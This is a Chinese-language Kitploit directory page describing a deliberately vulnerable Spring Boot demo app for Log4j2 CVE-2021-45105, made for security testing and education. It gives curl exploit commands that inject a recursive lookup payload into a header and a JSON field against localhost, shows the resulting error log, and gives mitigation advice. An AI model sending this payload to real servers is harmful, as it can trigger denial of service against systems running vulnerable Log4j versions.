Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
log4j2-CVE-2021-45105 — 示例 Spring Boot Web 应用程序,存在 Log4j2 CVE-2021-45105 漏洞,包含文档化的利用步骤和缓解指南,用于安全测试和教育目的。 | Kitploit
工具/GitHubGitHub/pravin-pp/log4j2-cve-2021-45105
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubpravin-pp/log4j2-cve-2021-45105

log4j2-CVE-2021-45105

示例 Spring Boot Web 应用程序,存在 Log4j2 CVE-2021-45105 漏洞,包含文档化的利用步骤和缓解指南,用于安全测试和教育目的。

查看仓库
24年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

示例 Log4j2 漏洞应用程序(CVE-2021-45105)

受影响版本:2.0-beta9 至 2.16.0 的所有版本

该应用程序基于一个存在 CVE-2021-45105 漏洞的 Spring Boot Web 应用程序。

它使用 Log4j 2.16.0。

运行应用程序

运行它:

root@kitploit:~
Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

利用步骤

  • 然后,使用以下方式触发漏洞:
root@kitploit:~
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${${::-${::-$${::-$}}}}"
}'
  • 注意输出显示无限循环(Infinite loop),但在测试中并未发现该 DoS 会消耗资源,因为该无限循环会被程序识别并报错:
root@kitploit:~

 ${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
	

缓解措施:

Java 8(或更高版本)用户应升级到 2.17.0 版本。

或者,也可以通过配置进行缓解:

在日志配置的 PatternLayout 中,将类似 ${ctx:loginId} 或 $${ctx:loginId} 的 Context Lookups 替换为 Thread Context Map 模式(%X、%mdc 或 %MDC)。 否则,在配置中移除对类似 ${ctx:loginId} 或 $${ctx:loginId} 的 Context Lookups 的引用,尤其是当它们来自应用程序外部的来源(如 HTTP 头或用户输入)时。

下载工具